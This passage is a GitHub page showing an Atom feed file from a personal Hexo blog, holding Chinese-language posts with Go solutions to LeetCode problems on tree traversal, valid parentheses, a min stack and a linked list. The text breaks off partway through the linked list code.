-
Notifications
You must be signed in to change notification settings - Fork 1
/
atom.xml
405 lines (245 loc) · 553 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>xianyu123's Blog</title>
<link href="/atom.xml" rel="self"/>
<link href="http://0clickjacking0.github.io/"/>
<updated>2022-01-25T07:11:14.628Z</updated>
<id>http://0clickjacking0.github.io/</id>
<author>
<name>xianyu123</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>leetcode力扣 94 144 145 二叉树的前中后序遍历 go实现</title>
<link href="http://0clickjacking0.github.io/2022/01/19/leetcode%E5%8A%9B%E6%89%A3-94-144-145-%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%89%8D%E4%B8%AD%E5%90%8E%E5%BA%8F%E9%81%8D%E5%8E%86-go%E5%AE%9E%E7%8E%B0/"/>
<id>http://0clickjacking0.github.io/2022/01/19/leetcode力扣-94-144-145-二叉树的前中后序遍历-go实现/</id>
<published>2022-01-19T05:37:13.000Z</published>
<updated>2022-01-25T07:11:14.628Z</updated>
<content type="html"><![CDATA[<p>记录一下leetcode刷题,大牛请绕道</p><a id="more"></a><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><h2 id="递归"><a href="#递归" class="headerlink" title="递归"></a>递归</h2><h2 id="非递归"><a href="#非递归" class="headerlink" title="非递归"></a>非递归</h2><h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><h2 id="递归-1"><a href="#递归-1" class="headerlink" title="递归"></a>递归</h2><h3 id="前序遍历"><a href="#前序遍历" class="headerlink" title="前序遍历"></a>前序遍历</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> res []<span class="keyword">int</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">preorderTraversal</span><span class="params">(root *TreeNode)</span> []<span class="title">int</span></span> {</span><br><span class="line">res = []<span class="keyword">int</span>{}</span><br><span class="line">recursion(root)</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">recursion</span><span class="params">(root *TreeNode)</span></span> {</span><br><span class="line"><span class="keyword">if</span> root == <span class="literal">nil</span> {</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">res = <span class="built_in">append</span>(res, root.Val)</span><br><span class="line">recursion(root.Left)</span><br><span class="line">recursion(root.Right)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="中序遍历"><a href="#中序遍历" class="headerlink" title="中序遍历"></a>中序遍历</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> res []<span class="keyword">int</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">inorderTraversal</span><span class="params">(root *TreeNode)</span> []<span class="title">int</span></span> {</span><br><span class="line">res = []<span class="keyword">int</span>{}</span><br><span class="line">recursion(root)</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">recursion</span><span class="params">(root *TreeNode)</span></span> {</span><br><span class="line"><span class="keyword">if</span> root == <span class="literal">nil</span> {</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">recursion(root.Left)</span><br><span class="line">res = <span class="built_in">append</span>(res, root.Val)</span><br><span class="line">recursion(root.Right)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="后序遍历"><a href="#后序遍历" class="headerlink" title="后序遍历"></a>后序遍历</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> res []<span class="keyword">int</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">postorderTraversal</span><span class="params">(root *TreeNode)</span> []<span class="title">int</span></span> {</span><br><span class="line"> res = []<span class="keyword">int</span>{}</span><br><span class="line">recursion(root)</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">recursion</span><span class="params">(root *TreeNode)</span></span> {</span><br><span class="line"><span class="keyword">if</span> root == <span class="literal">nil</span> {</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line">recursion(root.Left)</span><br><span class="line">recursion(root.Right)</span><br><span class="line"> res = <span class="built_in">append</span>(res, root.Val)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="非递归-1"><a href="#非递归-1" class="headerlink" title="非递归"></a>非递归</h2><h1 id="遇到的坑"><a href="#遇到的坑" class="headerlink" title="遇到的坑"></a>遇到的坑</h1><blockquote><p>昨天刚碰到,我用的是golang,在回溯时需要一个全局变量result。。。。后来发现是全局变量的问题,原因如下:</p><p>leetcode的评测模式是一个程序,也就是某些变量只会初始化一次,比如我这边用的全局变量result。导致该容器(result)会保留上次运行的答案。<br>leetcode运行模式只会运行一次,所以没上述问题。<br>我当时的解决方案是将全局变量在它给出的函数中又清空一遍</p><p>所以题主可以看看是代码中是否有类似于全局变量的影响了评测结果。</p><p>作者:GuoYuefei<br>链接:<a href="https://leetcode-cn.com/circle/discuss/lhevWR/view/UZtlKY/" target="_blank" rel="noopener">https://leetcode-cn.com/circle/discuss/lhevWR/view/UZtlKY/</a><br>来源:力扣(LeetCode)<br>著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。</p></blockquote>]]></content>
<summary type="html">
<p>记录一下leetcode刷题,大牛请绕道</p>
</summary>
</entry>
<entry>
<title>leetcode力扣 20.有效的括号 go实现</title>
<link href="http://0clickjacking0.github.io/2022/01/10/leetcode%E5%8A%9B%E6%89%A3-20-%E6%9C%89%E6%95%88%E7%9A%84%E6%8B%AC%E5%8F%B7-go%E5%AE%9E%E7%8E%B0/"/>
<id>http://0clickjacking0.github.io/2022/01/10/leetcode力扣-20-有效的括号-go实现/</id>
<published>2022-01-10T13:36:54.000Z</published>
<updated>2022-01-10T13:56:08.166Z</updated>
<content type="html"><![CDATA[<p>记录一下leetcode刷题,大牛请绕道</p><a id="more"></a><h1 id="思想"><a href="#思想" class="headerlink" title="思想"></a>思想</h1><blockquote><p>给定一个只包括 ‘(‘,’)’,’{‘,’}’,’[‘,’]’ 的字符串 s ,判断字符串是否有效。</p><p>有效字符串需满足:</p><p>左括号必须用相同类型的右括号闭合。<br>左括号必须以正确的顺序闭合。</p><p>来源:力扣(LeetCode)<br>链接:<a href="https://leetcode-cn.com/problems/valid-parentheses" target="_blank" rel="noopener">https://leetcode-cn.com/problems/valid-parentheses</a><br>著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。</p></blockquote><p>上述是题目的描述,这里我们可以创建一个类型为uint8的切片(因为go在遍历字符串的时候,每个字符的类型就是uint8),然后当我们就可以遍历字符串,遇到左括号(<code>(</code>、<code>[</code>、<code>{</code>)的时候<code>Push</code>入栈,然后当遇到右括号的时候,<code>Pop</code>出栈,如果出栈的元素与当前右括号不匹配的话,则可以认定当前字符串无效,等我们遍历完成后,最后检查一下栈是否为空,如果为空,则字符串有效;如果栈不为空,则字符串无效,说明无法匹配完全。</p><h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Stack <span class="keyword">struct</span> {</span><br><span class="line">element []<span class="keyword">uint8</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Init_Stack</span><span class="params">()</span> *<span class="title">Stack</span></span> {</span><br><span class="line"><span class="keyword">return</span> &Stack{element: []<span class="keyword">uint8</span>{}}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *Stack)</span> <span class="title">Pop</span><span class="params">()</span> <span class="title">uint8</span></span> {</span><br><span class="line">len_stack := <span class="built_in">len</span>(this.element)</span><br><span class="line"><span class="keyword">if</span> len_stack == <span class="number">0</span>{</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">top := this.element[len_stack<span class="number">-1</span>]</span><br><span class="line">this.element = this.element[:len_stack<span class="number">-1</span>]</span><br><span class="line"><span class="keyword">return</span> top</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *Stack)</span> <span class="title">Push</span><span class="params">(val <span class="keyword">uint8</span>)</span></span> {</span><br><span class="line">this.element = <span class="built_in">append</span>(this.element,val)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">isValid</span><span class="params">(s <span class="keyword">string</span>)</span> <span class="title">bool</span></span> {</span><br><span class="line"><span class="comment">//遇到左括号,压栈,遇到右括号,弹出栈顶匹配</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">[ == 91</span></span><br><span class="line"><span class="comment">( == 40</span></span><br><span class="line"><span class="comment">) == 41</span></span><br><span class="line"><span class="comment">] == 93</span></span><br><span class="line"><span class="comment">{ == 123</span></span><br><span class="line"><span class="comment">} == 125</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">stack := Init_Stack()</span><br><span class="line">flag := <span class="literal">false</span></span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i < <span class="built_in">len</span>(s); i++ {</span><br><span class="line"><span class="comment">//fmt.Println(stack)</span></span><br><span class="line"><span class="keyword">if</span> s[i] == <span class="number">91</span> || s[i] == <span class="number">40</span> || s[i] == <span class="number">123</span> {</span><br><span class="line">stack.Push(s[i])</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span> s[i] == <span class="number">41</span>{</span><br><span class="line"><span class="comment">// 匹配 )</span></span><br><span class="line">pop := stack.Pop()</span><br><span class="line"><span class="comment">//fmt.Println("41",pop)</span></span><br><span class="line"><span class="keyword">if</span> pop == <span class="number">40</span>{</span><br><span class="line">flag = <span class="literal">true</span></span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">flag = <span class="literal">false</span></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span> s[i] == <span class="number">93</span>{</span><br><span class="line"><span class="comment">// 匹配 ]</span></span><br><span class="line">pop := stack.Pop()</span><br><span class="line"><span class="comment">//fmt.Println("91",pop)</span></span><br><span class="line"><span class="keyword">if</span> pop == <span class="number">91</span>{</span><br><span class="line">flag = <span class="literal">true</span></span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">flag = <span class="literal">false</span></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span> s[i] == <span class="number">125</span>{</span><br><span class="line"><span class="comment">// 匹配 }</span></span><br><span class="line">pop := stack.Pop()</span><br><span class="line"><span class="comment">//fmt.Println("125",pop)</span></span><br><span class="line"><span class="keyword">if</span> pop == <span class="number">123</span>{</span><br><span class="line">flag = <span class="literal">true</span></span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">flag = <span class="literal">false</span></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(stack.element) != <span class="number">0</span>{</span><br><span class="line">flag = <span class="literal">false</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> flag</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>记录一下leetcode刷题,大牛请绕道</p>
</summary>
<category term="数据结构" scheme="http://0clickjacking0.github.io/categories/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
</entry>
<entry>
<title>leetcode力扣 155最小栈 go实现</title>
<link href="http://0clickjacking0.github.io/2022/01/09/leetcode%E5%8A%9B%E6%89%A3-155%E6%9C%80%E5%B0%8F%E6%A0%88-go%E5%AE%9E%E7%8E%B0/"/>
<id>http://0clickjacking0.github.io/2022/01/09/leetcode力扣-155最小栈-go实现/</id>
<published>2022-01-09T08:42:54.000Z</published>
<updated>2022-01-09T08:55:18.105Z</updated>
<content type="html"><![CDATA[<p>记录一下leetcode刷题,大牛请绕道</p><a id="more"></a><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><p>这个题的核心点还是在于用常数时间内检索到最小元素的栈,也就是用空间换时间。这样的话我们设计一个辅助栈,当栈为空的时候,第一次push的话,主栈和辅助栈都同时push传入的值;如果栈不为空,那么就先从辅助栈获取栈顶的值,然后将插入的值与栈顶的值进行比较,将数值小的那个值push进入辅助栈,这样最后调用<code>GetMin()</code>的话就是从辅助栈的栈顶拿值,这个值一定是最小值了。</p><h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> MinStack <span class="keyword">struct</span> {</span><br><span class="line">stack []<span class="keyword">int</span> <span class="comment">//主栈</span></span><br><span class="line">min_stack []<span class="keyword">int</span> <span class="comment">//最小元素辅助栈</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Constructor</span><span class="params">()</span> <span class="title">MinStack</span></span> {</span><br><span class="line"><span class="keyword">return</span> MinStack{</span><br><span class="line">stack: []<span class="keyword">int</span>{},</span><br><span class="line">min_stack: []<span class="keyword">int</span>{},</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 将元素 x 推入栈中。</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MinStack)</span> <span class="title">Push</span><span class="params">(val <span class="keyword">int</span>)</span></span> {</span><br><span class="line">minstack_len := <span class="built_in">len</span>(this.min_stack)</span><br><span class="line"><span class="comment">//如果是空栈的话,都直接入栈即可</span></span><br><span class="line"><span class="keyword">if</span> minstack_len == <span class="number">0</span> {</span><br><span class="line">this.stack = <span class="built_in">append</span>(this.stack,val)</span><br><span class="line">this.min_stack = <span class="built_in">append</span>(this.min_stack,val)</span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line"><span class="comment">/* 取辅助栈的栈顶元素与插入元素进行比较,将插入元素与辅助栈栈顶元素进行比较</span></span><br><span class="line"><span class="comment">把小的元素push到辅助栈中</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">this.stack = <span class="built_in">append</span>(this.stack,val)</span><br><span class="line">min_top := this.min_stack[minstack_len<span class="number">-1</span>]</span><br><span class="line"><span class="comment">//fmt.Println("min_top",min_top)</span></span><br><span class="line"><span class="keyword">if</span> val > min_top {</span><br><span class="line">this.min_stack = <span class="built_in">append</span>(this.min_stack, min_top)</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">this.min_stack = <span class="built_in">append</span>(this.min_stack, val)</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MinStack)</span> <span class="title">Pop</span><span class="params">()</span></span> {</span><br><span class="line">stack_len := <span class="built_in">len</span>(this.stack)</span><br><span class="line">minstack_len := <span class="built_in">len</span>(this.min_stack)</span><br><span class="line">this.stack = this.stack[:stack_len <span class="number">-1</span>]</span><br><span class="line"></span><br><span class="line">this.min_stack = this.min_stack[:minstack_len<span class="number">-1</span>]</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MinStack)</span> <span class="title">Top</span><span class="params">()</span> <span class="title">int</span></span> {</span><br><span class="line">stack_len := <span class="built_in">len</span>(this.stack)</span><br><span class="line"><span class="keyword">return</span> this.stack[stack_len <span class="number">-1</span>]</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MinStack)</span> <span class="title">GetMin</span><span class="params">()</span> <span class="title">int</span></span> {</span><br><span class="line">minstack_len := <span class="built_in">len</span>(this.min_stack)</span><br><span class="line"><span class="keyword">return</span> this.min_stack[minstack_len - <span class="number">1</span>]</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>记录一下leetcode刷题,大牛请绕道</p>
</summary>
<category term="数据结构" scheme="http://0clickjacking0.github.io/categories/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"/>
</entry>
<entry>
<title>leetcode力扣 707设计链表 go实现</title>
<link href="http://0clickjacking0.github.io/2022/01/07/leetcode%E5%8A%9B%E6%89%A3-707%E8%AE%BE%E8%AE%A1%E9%93%BE%E8%A1%A8-go%E5%AE%9E%E7%8E%B0/"/>
<id>http://0clickjacking0.github.io/2022/01/07/leetcode力扣-707设计链表-go实现/</id>
<published>2022-01-07T09:48:05.000Z</published>
<updated>2022-01-16T02:48:13.515Z</updated>
<content type="html"><![CDATA[<p>记录一下leetcode刷题,大牛请绕道</p><a id="more"></a><h1 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h1><h2 id="单链表"><a href="#单链表" class="headerlink" title="单链表"></a>单链表</h2><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Node <span class="keyword">struct</span> {</span><br><span class="line">Val <span class="keyword">int</span> <span class="comment">// 存放数据</span></span><br><span class="line">Next *Node <span class="comment">//指针指向下一个节点</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//定义一个带头的单链表</span></span><br><span class="line"><span class="keyword">type</span> MyLinkedList <span class="keyword">struct</span> {</span><br><span class="line">Head *Node</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//初始化链表</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Constructor</span><span class="params">()</span> <span class="title">MyLinkedList</span></span> {</span><br><span class="line">head := &Node{Val: <span class="number">0</span>,Next: <span class="literal">nil</span>}</span><br><span class="line"><span class="keyword">return</span> MyLinkedList{Head: head}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取链表的长度</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MyLinkedList)</span> <span class="title">Len</span><span class="params">()</span> <span class="title">int</span></span> {</span><br><span class="line">cur := this.Head</span><br><span class="line">count := <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> ; ; {</span><br><span class="line"><span class="keyword">if</span> cur.Next != <span class="literal">nil</span> {</span><br><span class="line">count++</span><br><span class="line">cur = cur.Next</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> count</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取链表中第 index 个节点的值。如果索引无效,则返回-1。</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MyLinkedList)</span> <span class="title">Get</span><span class="params">(index <span class="keyword">int</span>)</span> <span class="title">int</span></span> {</span><br><span class="line">cur := this.Head.Next</span><br><span class="line">list_len := this.Len()</span><br><span class="line"><span class="keyword">if</span> index >= list_len{</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i < index; i++ {</span><br><span class="line">cur = cur.Next</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> cur.Val</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">在链表的第一个元素之前添加一个值为 val 的节点。</span></span><br><span class="line"><span class="comment">插入后,新节点将成为链表的第一个节点。</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MyLinkedList)</span> <span class="title">AddAtHead</span><span class="params">(val <span class="keyword">int</span>)</span></span> {</span><br><span class="line"><span class="comment">//链表为空</span></span><br><span class="line">cur := this.Head</span><br><span class="line">node := &Node{Val: val}</span><br><span class="line"><span class="comment">//如果只有虚拟头节点,那么直接把虚拟头节点的Next指向新插入的节点</span></span><br><span class="line"><span class="keyword">if</span> cur.Next == <span class="literal">nil</span>{</span><br><span class="line">cur.Next = node</span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">node.Next = cur.Next</span><br><span class="line">cur.Next = node</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//将值为 val 的节点追加到链表的最后一个元素。</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(this *MyLinkedList)</span> <span class="title">AddAtTail</span><span class="params">(val <span class="keyword">int</span>)</span></span> {</span><br><span class="line">cur := this.Head</span><br><span class="line">node := &Node{Val: val}</span><br><span class="line"><span class="keyword">for</span> cur.Next != <span class="literal">nil</span> {</span><br><span class="line">cur = cur.Next</span><br><span class="line">}</span><br><span class="line">cur.Next = node</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*在链表中的第index个节点之前添加值为val 的节点。</span></span><br><span class="line"><span class="comment">如果index等于链表的长度,则该节点将附加到链表的末尾。</span></span><br><span class="line"><span class="comment">如果 index 